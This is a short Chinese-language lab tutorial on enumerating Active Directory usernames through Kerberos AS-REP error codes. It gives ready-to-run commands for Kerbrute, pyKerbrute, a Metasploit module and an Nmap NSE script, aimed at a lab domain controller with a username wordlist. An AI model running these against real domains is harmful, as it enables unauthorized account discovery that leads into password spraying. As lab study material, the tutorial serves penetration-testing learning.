1. 实验网络拓扑
kali:
192.168.72.128
win2008:
192.168.135.129
192.168.72.139
win7:
192.168.72.149
win2012:(DC)
192.168.72.131
2. 简单原理
详细的报文分析在之前写过了,这里简单提一提。
利用的是Kerberos的AS阶段,AS_REP的回显不同,可以判断用户是否存在。
存在但pre_auth错误:KDC_ERR_PREAUTH_REQUIRED
不存在:KDC_ERR_C_PRINCIPAL_UNKNOWN
3. 实操
0x1. Kerbrute
用go写的一个可用于用户名枚举和密码喷洒的工具。
https://github.com/ropnop/kerbrute/releases/tag/v1.0.3
xx.exe userenum --dc 192.168.72.131 -d intranet.com users.txt
其中users.txt是待爆破的用户名字典。
0x2. pyKerbrute
与Kerbrute类似,只是用python写的。
https://github.com/3gstudent/pyKerbrute
python2 EnumADUser.py 192.168.72.131 intranet.com users.txt udp
0x3. MSF
MSF的 auxiliary/gather/kerberos_enumusers模块
0x4. Nmap
Nmap NSE脚本:krb5-enum-users
sudo nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm="intranet.com",userdb="./users.txt" 192.168.72.131